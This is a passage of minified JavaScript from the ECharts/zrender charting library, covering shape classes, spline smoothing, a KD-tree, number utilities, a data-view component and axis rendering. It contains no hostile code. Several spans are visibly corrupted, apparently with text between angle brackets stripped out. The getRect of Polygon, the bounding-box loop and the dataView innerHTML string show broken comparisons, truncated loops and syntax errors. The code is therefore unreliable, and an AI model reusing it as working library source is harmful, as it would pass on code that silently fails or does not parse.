this.pathCommands.push(new i("L",[e,t])),this._ctx&&this._ctx.lineTo(e,t),this},n.prototype.bezierCurveTo=function(e,t,n,a,o,r){return this.pathCommands.push(new i("C",[e,t,n,a,o,r])),this._ctx&&this._ctx.bezierCurveTo(e,t,n,a,o,r),this},n.prototype.quadraticCurveTo=function(e,t,n,a){return this.pathCommands.push(new i("Q",[e,t,n,a])),this._ctx&&this._ctx.quadraticCurveTo(e,t,n,a),this},n.prototype.arc=function(e,t,n,a,o,r){return this.pathCommands.push(new i("A",[e,t,n,n,a,o-a,0,r?0:1])),this._ctx&&this._ctx.arc(e,t,n,a,o,r),this},n.prototype.arcTo=function(e,t,i,n,a){return this._ctx&&this._ctx.arcTo(e,t,i,n,a),this},n.prototype.rect=function(e,t,i,n){return this._ctx&&this._ctx.rect(e,t,i,n),this},n.prototype.closePath=function(){return this.pathCommands.push(new i("z")),this._ctx&&this._ctx.closePath(),this},n.prototype.isEmpty=function(){return 0===this.pathCommands.length},n.PathSegment=i,n}),i("zrender/shape/Line",["require","./Base","./util/dashedLineTo","../tool/util"],function(e){var t=e("./Base"),i=e("./util/dashedLineTo"),n=function(e){this.brushTypeOnly="stroke",this.textPosition="end",t.call(this,e)};return n.prototype={type:"line",buildPath:function(e,t){if(t.lineType&&"solid"!=t.lineType){if("dashed"==t.lineType||"dotted"==t.lineType){var n=(t.lineWidth||1)*("dashed"==t.lineType?5:1);i(e,t.xStart,t.yStart,t.xEnd,t.yEnd,n)}}else e.moveTo(t.xStart,t.yStart),e.lineTo(t.xEnd,t.yEnd)},getRect:function(e){if(e.__rect)return e.__rect;var t=e.lineWidth||1;return e.__rect={x:Math.min(e.xStart,e.xEnd)-t,y:Math.min(e.yStart,e.yEnd)-t,width:Math.abs(e.xStart-e.xEnd)+t,height:Math.abs(e.yStart-e.yEnd)+t},e.__rect}},e("../tool/util").inherits(n,t),n}),i("zrender/shape/BezierCurve",["require","./Base","../tool/util"],function(e){"use strict";var t=e("./Base"),i=function(e){this.brushTypeOnly="stroke",this.textPosition="end",t.call(this,e)};return i.prototype={type:"bezier-curve",buildPath:function(e,t){e.moveTo(t.xStart,t.yStart),"undefined"!=typeof t.cpX2&&"undefined"!=typeof t.cpY2?e.bezierCurveTo(t.cpX1,t.cpY1,t.cpX2,t.cpY2,t.xEnd,t.yEnd):e.quadraticCurveTo(t.cpX1,t.cpY1,t.xEnd,t.yEnd)},getRect:function(e){if(e.__rect)return e.__rect;var t=Math.min(e.xStart,e.xEnd,e.cpX1),i=Math.min(e.yStart,e.yEnd,e.cpY1),n=Math.max(e.xStart,e.xEnd,e.cpX1),a=Math.max(e.yStart,e.yEnd,e.cpY1),o=e.cpX2,r=e.cpY2;"undefined"!=typeof o&&"undefined"!=typeof r&&(t=Math.min(t,o),i=Math.min(i,r),n=Math.max(n,o),a=Math.max(a,r));var s=e.lineWidth||1;return e.__rect={x:t-s,y:i-s,width:n-t+s,height:a-i+s},e.__rect}},e("../tool/util").inherits(i,t),i}),i("zrender/shape/util/dashedLineTo",[],function(){var e=[5,5];return function(t,i,n,a,o,r){if(t.setLineDash)return e[0]=e[1]=r,t.setLineDash(e),t.moveTo(i,n),void t.lineTo(a,o);r="number"!=typeof r?5:r;var s=a-i,l=o-n,h=Math.floor(Math.sqrt(s*s+l*l)/r);s/=h,l/=h;for(var m=!0,V=0;h>V;++V)m?t.moveTo(i,n):t.lineTo(i,n),m=!m,i+=s,n+=l;t.lineTo(a,o)}}),i("zrender/shape/Polygon",["require","./Base","./util/smoothSpline","./util/smoothBezier","./util/dashedLineTo","../tool/util"],function(e){var t=e("./Base"),i=e("./util/smoothSpline"),n=e("./util/smoothBezier"),a=e("./util/dashedLineTo"),o=function(e){t.call(this,e)};return o.prototype={type:"polygon",buildPath:function(e,t){var o=t.pointList;if(!(o.length<2)){if(t.smooth&&"spline"!==t.smooth){var r=n(o,t.smooth,!0,t.smoothConstraint);e.moveTo(o[0][0],o[0][1]);for(var s,l,h,m=o.length,V=0;m>V;V++)s=r[2*V],l=r[2*V+1],h=o[(V+1)%m],e.bezierCurveTo(s[0],s[1],l[0],l[1],h[0],h[1])}else if("spline"===t.smooth&&(o=i(o,!0)),t.lineType&&"solid"!=t.lineType){if("dashed"==t.lineType||"dotted"==t.lineType){var U=t._dashLength||(t.lineWidth||1)*("dashed"==t.lineType?5:1);t._dashLength=U,e.moveTo(o[0][0],o[0][1]);for(var V=1,d=o.length;d>V;V++)a(e,o[V-1][0],o[V-1][1],o[V][0],o[V][1],U);a(e,o[o.length-1][0],o[o.length-1][1],o[0][0],o[0][1],U)}}else{e.moveTo(o[0][0],o[0][1]);for(var V=1,d=o.length;d>V;V++)e.lineTo(o[V][0],o[V][1]);e.lineTo(o[0][0],o[0][1])}e.closePath()}},getRect:function(e){if(e.__rect)return e.__rect;for(var t=Number.MAX_VALUE,i=Number.MIN_VALUE,n=Number.MAX_VALUE,a=Number.MIN_VALUE,o=e.pointList,r=0,s=o.length;s>r;r++)o[r][0]i&&(i=o[r][0]),o[r][1]a&&(a=o[r][1]);var l;return l="stroke"==e.brushType||"fill"==e.brushType?e.lineWidth||1:0,e.__rect={x:Math.round(t-l/2),y:Math.round(n-l/2),width:i-t+l,height:a-n+l},e.__rect}},e("../tool/util").inherits(o,t),o}),i("echarts/util/shape/normalIsCover",[],function(){return function(e,t){var i=this.transformCoordToLocal(e,t);return e=i[0],t=i[1],this.isCoverRect(e,t)}}),i("zrender/shape/util/smoothSpline",["require","../../tool/vector"],function(e){function t(e,t,i,n,a,o,r){var s=.5*(i-e),l=.5*(n-t);return(2*(t-i)+s+l)*r+(-3*(t-i)-2*s-l)*o+s*a+t}var i=e("../../tool/vector");return function(e,n){for(var a=e.length,o=[],r=0,s=1;a>s;s++)r+=i.distance(e[s-1],e[s]);var l=r/5;l=a>l?a:l;for(var s=0;l>s;s++){var h,m,V,U=s/(l-1)*(n?a:a-1),d=Math.floor(U),p=U-d,c=e[d%a];n?(h=e[(d-1+a)%a],m=e[(d+1)%a],V=e[(d+2)%a]):(h=e[0===d?d:d-1],m=e[d>a-2?a-1:d+1],V=e[d>a-3?a-1:d+2]);var u=p*p,y=p*u;o.push([t(h[0],c[0],m[0],V[0],p,u,y),t(h[1],c[1],m[1],V[1],p,u,y)])}return o}}),i("zrender/shape/util/smoothBezier",["require","../../tool/vector"],function(e){var t=e("../../tool/vector");return function(e,i,n,a){var o,r,s,l,h=[],m=[],V=[],U=[],d=!!a;if(d){s=[1/0,1/0],l=[-(1/0),-(1/0)];for(var p=0,c=e.length;c>p;p++)t.min(s,s,e[p]),t.max(l,l,e[p]);t.min(s,s,a[0]),t.max(l,l,a[1])}for(var p=0,c=e.length;c>p;p++){var o,r,u=e[p];if(n)o=e[p?p-1:c-1],r=e[(p+1)%c];else{if(0===p||p===c-1){h.push(t.clone(e[p]));continue}o=e[p-1],r=e[p+1]}t.sub(m,r,o),t.scale(m,m,i);var y=t.distance(u,o),g=t.distance(u,r),b=y+g;0!==b&&(y/=b,g/=b),t.scale(V,m,-y),t.scale(U,m,g);var f=t.add([],u,V),k=t.add([],u,U);d&&(t.max(f,f,s),t.min(f,f,l),t.max(k,k,s),t.min(k,k,l)),h.push(f),h.push(k)}return n&&h.push(t.clone(h.shift())),h}}),i("echarts/util/ecQuery",["require","zrender/tool/util"],function(e){function t(e,t){if("undefined"!=typeof e){if(!t)return e;t=t.split(".");for(var i=t.length,n=0;i>n;){if(e=e[t[n]],"undefined"==typeof e)return;n++}return e}}function i(e,i){for(var n,a=0,o=e.length;o>a;a++)if(n=t(e[a],i),"undefined"!=typeof n)return n}function n(e,i){for(var n,o=e.length;o--;){var r=t(e[o],i);"undefined"!=typeof r&&("undefined"==typeof n?n=a.clone(r):a.merge(n,r,!0))}return n}var a=e("zrender/tool/util");return{query:t,deepQuery:i,deepMerge:n}}),i("echarts/util/number",[],function(){function e(e){return e.replace(/^\s+/,"").replace(/\s+$/,"")}function t(t,i){return"string"==typeof t?e(t).match(/%$/)?parseFloat(t)/100*i:parseFloat(t):t}function i(e,i){return[t(i[0],e.getWidth()),t(i[1],e.getHeight())]}function n(e,i){i instanceof Array||(i=[0,i]);var n=Math.min(e.getWidth(),e.getHeight())/2;return[t(i[0],n),t(i[1],n)]}function a(e){return isNaN(e)?"-":(e=(e+"").split("."),e[0].replace(/(\d{1,3})(?=(?:\d{3})+(?!\d))/g,"$1,")+(e.length>1?"."+e[1]:""))}function o(e){for(var t=1,i=0;Math.round(e*t)/t!==e;)t*=10,i++;return i}return{parsePercent:t,parseCenter:i,parseRadius:n,addCommas:a,getPrecision:o}}),i("echarts/data/KDTree",["require","./quickSelect"],function(e){function t(e,t){this.left=null,this.right=null,this.axis=e,this.data=t}var i=e("./quickSelect"),n=function(e,t){e.length&&(t||(t=e[0].array.length),this.dimension=t,this.root=this._buildTree(e,0,e.length-1,0),this._stack=[],this._nearstNList=[])};return n.prototype._buildTree=function(e,n,a,o){if(n>a)return null;var r=Math.floor((n+a)/2);r=i(e,n,a,r,function(e,t){return e.array[o]-t.array[o]});var s=e[r],l=new t(o,s);return o=(o+1)%this.dimension,a>n&&(l.left=this._buildTree(e,n,r-1,o),l.right=this._buildTree(e,r+1,a,o)),l},n.prototype.nearest=function(e,t){var i=this.root,n=this._stack,a=0,o=1/0,r=null;for(i.data!==e&&(o=t(i.data,e),r=i),e.array[i.axis]s,h=!1;s*=s,o>s&&(s=t(i.data,e),o>s&&i.data!==e&&(o=s,r=i),h=!0),l?(h&&i.right&&(n[a++]=i.right),i.left&&(n[a++]=i.left)):(h&&i.left&&(n[a++]=i.left),i.right&&(n[a++]=i.right))}return r.data},n.prototype._addNearest=function(e,t,i){for(var n=this._nearstNList,a=e-1;a>0&&!(t>=n[a-1].dist);a--)n[a].dist=n[a-1].dist,n[a].node=n[a-1].node;n[a].dist=t,n[a].node=i},n.prototype.nearestN=function(e,t,i,n){if(0>=t)return n.length=0,n;for(var a=this.root,o=this._stack,r=0,s=this._nearstNList,l=0;t>l;l++)s[l]||(s[l]={}),s[l].dist=0,s[l].node=null;var h=i(a.data,e),m=0;for(a.data!==e&&(m++,this._addNearest(m,h,a)),e.array[a.axis]h,U=!1;h*=h,(t>m||hm||hm&&m++,this._addNearest(m,h,a)),U=!0),V?(U&&a.right&&(o[r++]=a.right),a.left&&(o[r++]=a.left)):(U&&a.left&&(o[r++]=a.left),a.right&&(o[r++]=a.right))}for(var l=0;m>l;l++)n[l]=s[l].node.data;return n.length=m,n},n}),i("echarts/data/quickSelect",["require"],function(){function e(e,t){return e-t}function t(e,t,i){var n=e[t];e[t]=e[i],e[i]=n}function i(e,i,n,a,o){for(var r=i;n>i;){var r=Math.round((n+i)/2),s=e[r];t(e,r,n),r=i;for(var l=i;n-1>=l;l++)o(s,e[l])>=0&&(t(e,l,r),r++);if(t(e,n,r),r===a)return r;a>r?i=r+1:n=r-1}return i}function n(t,n,a,o,r){return arguments.length<=3&&(o=n,r=2==arguments.length?e:a,n=0,a=t.length-1),i(t,n,a,o,r)}return n}),i("echarts/component/dataView",["require","./base","../config","zrender/tool/util","../component"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o),this.dom=o.dom,this._tDom=document.createElement("div"),this._textArea=document.createElement("textArea"),this._buttonRefresh=document.createElement("button"),this._buttonRefresh.setAttribute("type","button"),this._buttonClose=document.createElement("button"),this._buttonClose.setAttribute("type","button"),this._hasShow=!1,this._zrHeight=n.getHeight(),this._zrWidth=n.getWidth(),this._tDom.className="echarts-dataview",this.hide(),this.dom.firstChild.appendChild(this._tDom),window.addEventListener?(this._tDom.addEventListener("click",this._stop),this._tDom.addEventListener("mousewheel",this._stop),this._tDom.addEventListener("mousemove",this._stop),this._tDom.addEventListener("mousedown",this._stop),this._tDom.addEventListener("mouseup",this._stop),this._tDom.addEventListener("touchstart",this._stop),this._tDom.addEventListener("touchmove",this._stop),this._tDom.addEventListener("touchend",this._stop)):(this._tDom.attachEvent("onclick",this._stop),this._tDom.attachEvent("onmousewheel",this._stop),this._tDom.attachEvent("onmousemove",this._stop),this._tDom.attachEvent("onmousedown",this._stop),this._tDom.attachEvent("onmouseup",this._stop))}var i=e("./base"),n=e("../config"),a=e("zrender/tool/util");return t.prototype={type:n.COMPONENT_TYPE_DATAVIEW,_lang:["Data View","close","refresh"],_gCssText:"position:absolute;display:block;overflow:hidden;transition:height 0.8s,background-color 1s;-moz-transition:height 0.8s,background-color 1s;-webkit-transition:height 0.8s,background-color 1s;-o-transition:height 0.8s,background-color 1s;z-index:1;left:0;top:0;",hide:function(){this._sizeCssText="width:"+this._zrWidth+"px;height:0px;background-color:#f0ffff;",this._tDom.style.cssText=this._gCssText+this._sizeCssText},show:function(e){this._hasShow=!0;var t=this.query(this.option,"toolbox.feature.dataView.lang")||this._lang;this.option=e,this._tDom.innerHTML='

'+(t[0]||this._lang[0])+"

";var i=this.query(this.option,"toolbox.feature.dataView.optionToContent");"function"!=typeof i?this._textArea.value=this._optionToContent():(this._textArea=document.createElement("div"),this._textArea.innerHTML=i(this.option)),this._textArea.style.cssText="display:block;margin:0 0 8px 0;padding:4px 6px;overflow:auto;width:100%;height:"+(this._zrHeight-100)+"px;",this._tDom.appendChild(this._textArea),this._buttonClose.style.cssText="float:right;padding:1px 6px;",this._buttonClose.innerHTML=t[1]||this._lang[1];var n=this;this._buttonClose.onclick=function(){n.hide()},this._tDom.appendChild(this._buttonClose),this.query(this.option,"toolbox.feature.dataView.readOnly")===!1?(this._buttonRefresh.style.cssText="float:right;margin-right:10px;padding:1px 6px;",this._buttonRefresh.innerHTML=t[2]||this._lang[2],this._buttonRefresh.onclick=function(){n._save()},this._textArea.readOnly=!1,this._textArea.style.cursor="default"):(this._buttonRefresh.style.cssText="display:none", +this._textArea.readOnly=!0,this._textArea.style.cursor="text"),this._tDom.appendChild(this._buttonRefresh),this._sizeCssText="width:"+this._zrWidth+"px;height:"+this._zrHeight+"px;background-color:#fff;",this._tDom.style.cssText=this._gCssText+this._sizeCssText},_optionToContent:function(){var e,t,i,a,o,r,s=[],l="";if(this.option.xAxis)for(s=this.option.xAxis instanceof Array?this.option.xAxis:[this.option.xAxis],e=0,a=s.length;a>e;e++)if("category"==(s[e].type||"category")){for(r=[],t=0,i=s[e].data.length;i>t;t++)r.push(this.getDataFromOption(s[e].data[t]));l+=r.join(", ")+"\n\n"}if(this.option.yAxis)for(s=this.option.yAxis instanceof Array?this.option.yAxis:[this.option.yAxis],e=0,a=s.length;a>e;e++)if("category"==s[e].type){for(r=[],t=0,i=s[e].data.length;i>t;t++)r.push(this.getDataFromOption(s[e].data[t]));l+=r.join(", ")+"\n\n"}var h,m=this.option.series;for(e=0,a=m.length;a>e;e++){for(r=[],t=0,i=m[e].data.length;i>t;t++)o=m[e].data[t],h=m[e].type==n.CHART_TYPE_PIE||m[e].type==n.CHART_TYPE_MAP?(o.name||"-")+":":"",m[e].type==n.CHART_TYPE_SCATTER&&(o=this.getDataFromOption(o).join(", ")),r.push(h+this.getDataFromOption(o));l+=(m[e].name||"-")+" : \n",l+=r.join(m[e].type==n.CHART_TYPE_SCATTER?"\n":", "),l+="\n\n"}return l},_save:function(){var e=this.query(this.option,"toolbox.feature.dataView.contentToOption");if("function"!=typeof e){for(var t=this._textArea.value.split("\n"),i=[],a=0,o=t.length;o>a;a++)t[a]=this._trim(t[a]),""!==t[a]&&i.push(t[a]);this._contentToOption(i)}else e(this._textArea,this.option);this.hide();var r=this;setTimeout(function(){r.messageCenter&&r.messageCenter.dispatch(n.EVENT.DATA_VIEW_CHANGED,null,{option:r.option},r.myChart)},r.canvasSupported?800:100)},_contentToOption:function(e){var t,i,a,o,r,s,l,h=[],m=0;if(this.option.xAxis)for(h=this.option.xAxis instanceof Array?this.option.xAxis:[this.option.xAxis],t=0,o=h.length;o>t;t++)if("category"==(h[t].type||"category")){for(s=e[m].split(","),i=0,a=h[t].data.length;a>i;i++)l=this._trim(s[i]||""),r=h[t].data[i],"undefined"!=typeof h[t].data[i].value?h[t].data[i].value=l:h[t].data[i]=l;m++}if(this.option.yAxis)for(h=this.option.yAxis instanceof Array?this.option.yAxis:[this.option.yAxis],t=0,o=h.length;o>t;t++)if("category"==h[t].type){for(s=e[m].split(","),i=0,a=h[t].data.length;a>i;i++)l=this._trim(s[i]||""),r=h[t].data[i],"undefined"!=typeof h[t].data[i].value?h[t].data[i].value=l:h[t].data[i]=l;m++}var V=this.option.series;for(t=0,o=V.length;o>t;t++)if(m++,V[t].type==n.CHART_TYPE_SCATTER)for(var i=0,a=V[t].data.length;a>i;i++)s=e[m],l=s.replace(" ","").split(","),"undefined"!=typeof V[t].data[i].value?V[t].data[i].value=l:V[t].data[i]=l,m++;else{s=e[m].split(",");for(var i=0,a=V[t].data.length;a>i;i++)l=(s[i]||"").replace(/.*:/,""),l=this._trim(l),l="-"!=l&&""!==l?l-0:"-","undefined"!=typeof V[t].data[i].value?V[t].data[i].value=l:V[t].data[i]=l;m++}},_trim:function(e){var t=new RegExp("(^[\\s\\t\\xa0\\u3000]+)|([\\u3000\\xa0\\s\\t]+$)","g");return e.replace(t,"")},_stop:function(e){e=e||window.event,e.stopPropagation?e.stopPropagation():e.cancelBubble=!0},resize:function(){this._zrHeight=this.zr.getHeight(),this._zrWidth=this.zr.getWidth(),this._tDom.offsetHeight>10&&(this._sizeCssText="width:"+this._zrWidth+"px;height:"+this._zrHeight+"px;background-color:#fff;",this._tDom.style.cssText=this._gCssText+this._sizeCssText,this._textArea.style.cssText="display:block;margin:0 0 8px 0;padding:4px 6px;overflow:auto;width:100%;height:"+(this._zrHeight-100)+"px;")},dispose:function(){window.removeEventListener?(this._tDom.removeEventListener("click",this._stop),this._tDom.removeEventListener("mousewheel",this._stop),this._tDom.removeEventListener("mousemove",this._stop),this._tDom.removeEventListener("mousedown",this._stop),this._tDom.removeEventListener("mouseup",this._stop),this._tDom.removeEventListener("touchstart",this._stop),this._tDom.removeEventListener("touchmove",this._stop),this._tDom.removeEventListener("touchend",this._stop)):(this._tDom.detachEvent("onclick",this._stop),this._tDom.detachEvent("onmousewheel",this._stop),this._tDom.detachEvent("onmousemove",this._stop),this._tDom.detachEvent("onmousedown",this._stop),this._tDom.detachEvent("onmouseup",this._stop)),this._buttonRefresh.onclick=null,this._buttonClose.onclick=null,this._hasShow&&(this._tDom.removeChild(this._textArea),this._tDom.removeChild(this._buttonRefresh),this._tDom.removeChild(this._buttonClose)),this._textArea=null,this._buttonRefresh=null,this._buttonClose=null,this.dom.firstChild.removeChild(this._tDom),this._tDom=null}},a.inherits(t,i),e("../component").define("dataView",t),t}),i("echarts/util/shape/Cross",["require","zrender/shape/Base","zrender/shape/Line","zrender/tool/util","./normalIsCover"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("zrender/shape/Line"),a=e("zrender/tool/util");return t.prototype={type:"cross",buildPath:function(e,t){var i=t.rect;t.xStart=i.x,t.xEnd=i.x+i.width,t.yStart=t.yEnd=t.y,n.prototype.buildPath(e,t),t.xStart=t.xEnd=t.x,t.yStart=i.y,t.yEnd=i.y+i.height,n.prototype.buildPath(e,t)},getRect:function(e){return e.rect},isCover:e("./normalIsCover")},a.inherits(t,i),t}),i("zrender/shape/Sector",["require","../tool/math","../tool/computeBoundingBox","../tool/vector","./Base","../tool/util"],function(e){var t=e("../tool/math"),i=e("../tool/computeBoundingBox"),n=e("../tool/vector"),a=e("./Base"),o=n.create(),r=n.create(),s=n.create(),l=n.create(),h=function(e){a.call(this,e)};return h.prototype={type:"sector",buildPath:function(e,i){var n=i.x,a=i.y,o=i.r0||0,r=i.r,s=i.startAngle,l=i.endAngle,h=i.clockWise||!1;s=t.degreeToRadian(s),l=t.degreeToRadian(l),h||(s=-s,l=-l);var m=t.cos(s),V=t.sin(s);e.moveTo(m*o+n,V*o+a),e.lineTo(m*r+n,V*r+a),e.arc(n,a,r,s,l,!h),e.lineTo(t.cos(l)*o+n,t.sin(l)*o+a),0!==o&&e.arc(n,a,o,l,s,h),e.closePath()},getRect:function(e){if(e.__rect)return e.__rect;var a=e.x,h=e.y,m=e.r0||0,V=e.r,U=t.degreeToRadian(e.startAngle),d=t.degreeToRadian(e.endAngle),p=e.clockWise;return p||(U=-U,d=-d),m>1?i.arc(a,h,m,U,d,!p,o,s):(o[0]=s[0]=a,o[1]=s[1]=h),i.arc(a,h,V,U,d,!p,r,l),n.min(o,o,r),n.max(s,s,l),e.__rect={x:o[0],y:o[1],width:s[0]-o[0],height:s[1]-o[1]},e.__rect}},e("../tool/util").inherits(h,a),h}),i("echarts/util/shape/Candle",["require","zrender/shape/Base","zrender/tool/util","./normalIsCover"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("zrender/tool/util");return t.prototype={type:"candle",_numberOrder:function(e,t){return t-e},buildPath:function(e,t){var i=n.clone(t.y).sort(this._numberOrder);e.moveTo(t.x,i[3]),e.lineTo(t.x,i[2]),e.moveTo(t.x-t.width/2,i[2]),e.rect(t.x-t.width/2,i[2],t.width,i[1]-i[2]),e.moveTo(t.x,i[1]),e.lineTo(t.x,i[0])},getRect:function(e){if(!e.__rect){var t=0;("stroke"==e.brushType||"fill"==e.brushType)&&(t=e.lineWidth||1);var i=n.clone(e.y).sort(this._numberOrder);e.__rect={x:Math.round(e.x-e.width/2-t/2),y:Math.round(i[3]-t/2),width:e.width+t,height:i[0]-i[3]+t}}return e.__rect},isCover:e("./normalIsCover")},n.inherits(t,i),t}),i("zrender/tool/computeBoundingBox",["require","./vector","./curve"],function(e){function t(e,t,i){if(0!==e.length){for(var n=e[0][0],a=e[0][0],o=e[0][1],r=e[0][1],s=1;sa&&(a=l[0]),l[1]r&&(r=l[1])}t[0]=n,t[1]=o,i[0]=a,i[1]=r}}function i(e,t,i,n,a,r){var s=[];o.cubicExtrema(e[0],t[0],i[0],n[0],s);for(var l=0;l=2*Math.PI)return m[0]=e-i,m[1]=t-i,V[0]=e+i,void(V[1]=t+i);if(r[0]=Math.cos(n)*i+e,r[1]=Math.sin(n)*i+t,s[0]=Math.cos(o)*i+e,s[1]=Math.sin(o)*i+t,a.min(m,r,s),a.max(V,r,s),n%=2*Math.PI,0>n&&(n+=2*Math.PI),o%=2*Math.PI,0>o&&(o+=2*Math.PI),n>o&&!h?o+=2*Math.PI:o>n&&h&&(n+=2*Math.PI),h){var U=o;o=n,n=U}for(var d=0;o>d;d+=Math.PI/2)d>n&&(l[0]=Math.cos(d)*i+e,l[1]=Math.sin(d)*i+t,a.min(m,l,m),a.max(V,l,V))};return t.cubeBezier=i,t.quadraticBezier=n,t.arc=h,t}),i("echarts/util/shape/Chain",["require","zrender/shape/Base","./Icon","zrender/shape/util/dashedLineTo","zrender/tool/util","zrender/tool/matrix"],function(e){function t(e){i.call(this,e)}var i=e("zrender/shape/Base"),n=e("./Icon"),a=e("zrender/shape/util/dashedLineTo"),o=e("zrender/tool/util"),r=e("zrender/tool/matrix");return t.prototype={type:"chain",brush:function(e,t){var i=this.style;t&&(i=this.getHighlightStyle(i,this.highlightStyle||{})),e.save(),this.setContext(e,i),this.setTransform(e),e.save(),e.beginPath(),this.buildLinePath(e,i),e.stroke(),e.restore(),this.brushSymbol(e,i),e.restore()},buildLinePath:function(e,t){var i=t.x,n=t.y+5,o=t.width,r=t.height/2-10;if(e.moveTo(i,n),e.lineTo(i,n+r),e.moveTo(i+o,n),e.lineTo(i+o,n+r),e.moveTo(i,n+r/2),t.lineType&&"solid"!=t.lineType){if("dashed"==t.lineType||"dotted"==t.lineType){var s=(t.lineWidth||1)*("dashed"==t.lineType?5:1);a(e,i,n+r/2,i+o,n+r/2,s)}}else e.lineTo(i+o,n+r/2)},brushSymbol:function(e,t){var i=t.y+t.height/4;e.save();for(var a,o=t.chainPoint,r=0,s=o.length;s>r;r++){if(a=o[r],"none"!=a.symbol){e.beginPath();var l=a.symbolSize;n.prototype.buildPath(e,{iconType:a.symbol,x:a.x-l,y:i-l,width:2*l,height:2*l,n:a.n}),e.fillStyle=a.isEmpty?"#fff":t.strokeColor,e.closePath(),e.fill(),e.stroke()}a.showLabel&&(e.font=a.textFont,e.fillStyle=a.textColor,e.textAlign=a.textAlign,e.textBaseline=a.textBaseline,a.rotation?(e.save(),this._updateTextTransform(e,a.rotation),e.fillText(a.name,a.textX,a.textY),e.restore()):e.fillText(a.name,a.textX,a.textY))}e.restore()},_updateTextTransform:function(e,t){var i=r.create();if(r.identity(i),0!==t[0]){var n=t[1]||0,a=t[2]||0;(n||a)&&r.translate(i,i,[-n,-a]),r.rotate(i,i,t[0]),(n||a)&&r.translate(i,i,[n,a])}e.transform.apply(e,i)},isCover:function(e,t){var i=this.style;return e>=i.x&&e<=i.x+i.width&&t>=i.y&&t<=i.y+i.height?!0:!1}},o.inherits(t,i),t}),i("zrender/shape/Ring",["require","./Base","../tool/util"],function(e){var t=e("./Base"),i=function(e){t.call(this,e)};return i.prototype={type:"ring",buildPath:function(e,t){e.arc(t.x,t.y,t.r,0,2*Math.PI,!1),e.moveTo(t.x+t.r0,t.y),e.arc(t.x,t.y,t.r0,0,2*Math.PI,!0)},getRect:function(e){if(e.__rect)return e.__rect;var t;return t="stroke"==e.brushType||"fill"==e.brushType?e.lineWidth||1:0,e.__rect={x:Math.round(e.x-e.r-t/2),y:Math.round(e.y-e.r-t/2),width:2*e.r+t,height:2*e.r+t},e.__rect}},e("../tool/util").inherits(i,t),i}),i("echarts/component/axis",["require","./base","zrender/shape/Line","../config","../util/ecData","zrender/tool/util","zrender/tool/color","./categoryAxis","./valueAxis","../component"],function(e){function t(e,t,n,a,o,r){i.call(this,e,t,n,a,o),this.axisType=r,this._axisList=[],this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Line"),a=e("../config"),o=e("../util/ecData"),r=e("zrender/tool/util"),s=e("zrender/tool/color");return t.prototype={type:a.COMPONENT_TYPE_AXIS,axisBase:{_buildAxisLine:function(){var e=this.option.axisLine.lineStyle.width,t=e/2,i={_axisShape:"axisLine",zlevel:this.getZlevelBase(),z:this.getZBase()+3,hoverable:!1},a=this.grid;switch(this.option.position){case"left":i.style={xStart:a.getX()-t,yStart:a.getYend(),xEnd:a.getX()-t,yEnd:a.getY(),lineCap:"round"};break;case"right":i.style={xStart:a.getXend()+t,yStart:a.getYend(),xEnd:a.getXend()+t,yEnd:a.getY(),lineCap:"round"};break;case"bottom":i.style={xStart:a.getX(),yStart:a.getYend()+t,xEnd:a.getXend(),yEnd:a.getYend()+t,lineCap:"round"};break;case"top":i.style={xStart:a.getX(),yStart:a.getY()-t,xEnd:a.getXend(),yEnd:a.getY()-t,lineCap:"round"}}var o=i.style;""!==this.option.name&&(o.text=this.option.name,o.textPosition=this.option.nameLocation,o.textFont=this.getFont(this.option.nameTextStyle),this.option.nameTextStyle.align&&(o.textAlign=this.option.nameTextStyle.align),this.option.nameTextStyle.baseline&&(o.textBaseline=this.option.nameTextStyle.baseline),this.option.nameTextStyle.color&&(o.textColor=this.option.nameTextStyle.color)),o.strokeColor=this.option.axisLine.lineStyle.color,o.lineWidth=e,this.isHorizontal()?o.yStart=o.yEnd=this.subPixelOptimize(o.yEnd,e):o.xStart=o.xEnd=this.subPixelOptimize(o.xEnd,e),o.lineType=this.option.axisLine.lineStyle.type,i=new n(i),this.shapeList.push(i)},_axisLabelClickable:function(e,t){return e?(o.pack(t,void 0,-1,void 0,-1,t.style.text),t.hoverable=!0,t.clickable=!0,t.highlightStyle={color:s.lift(t.style.color,1),brushType:"fill"},t):t},refixAxisShape:function(e,t){if(this.option.axisLine.onZero){var i;if(this.isHorizontal()&&null!=t)for(var n=0,a=this.shapeList.length;a>n;n++)"axisLine"===this.shapeList[n]._axisShape?(this.shapeList[n].style.yStart=this.shapeList[n].style.yEnd=this.subPixelOptimize(t,this.shapeList[n].stylelineWidth),this.zr.modShape(this.shapeList[n].id)):"axisTick"===this.shapeList[n]._axisShape&&(i=this.shapeList[n].style.yEnd-this.shapeList[n].style.yStart,this.shapeList[n].style.yStart=t-i,this.shapeList[n].style.yEnd=t,this.zr.modShape(this.shapeList[n].id));if(!this.isHorizontal()&&null!=e)for(var n=0,a=this.shapeList.length;a>n;n++)"axisLine"===this.shapeList[n]._axisShape?(this.shapeList[n].style.xStart=this.shapeList[n].style.xEnd=this.subPixelOptimize(e,this.shapeList[n].stylelineWidth),this.zr.modShape(this.shapeList[n].id)):"axisTick"===this.shapeList[n]._axisShape&&(i=this.shapeList[n].style.xEnd-this.shapeList[n].style.xStart,this.shapeList[n].style.xStart=e,this.shapeList[n].style.xEnd=e+i,this.zr.modShape(this.shapeList[n].id))}},getPosition:function(){return this.option.position},isHorizontal:function(){return"bottom"===this.option.position||"top"===this.option.position}},reformOption:function(e){if(!e||e instanceof Array&&0===e.length?e=[{type:a.COMPONENT_TYPE_AXIS_VALUE}]:e instanceof Array||(e=[e]),e.length>2&&(e=[e[0],e[1]]),"xAxis"===this.axisType){(!e[0].position||"bottom"!=e[0].position&&"top"!=e[0].position)&&(e[0].position="bottom"),e.length>1&&(e[1].position="bottom"===e[0].position?"top":"bottom");for(var t=0,i=e.length;i>t;t++)e[t].type=e[t].type||"category",e[t].xAxisIndex=t,e[t].yAxisIndex=-1}else{(!e[0].position||"left"!=e[0].position&&"right"!=e[0].position)&&(e[0].position="left"),e.length>1&&(e[1].position="left"===e[0].position?"right":"left");for(var t=0,i=e.length;i>t;t++)e[t].type=e[t].type||"value",e[t].xAxisIndex=-1,e[t].yAxisIndex=t}return e},refresh:function(t){var 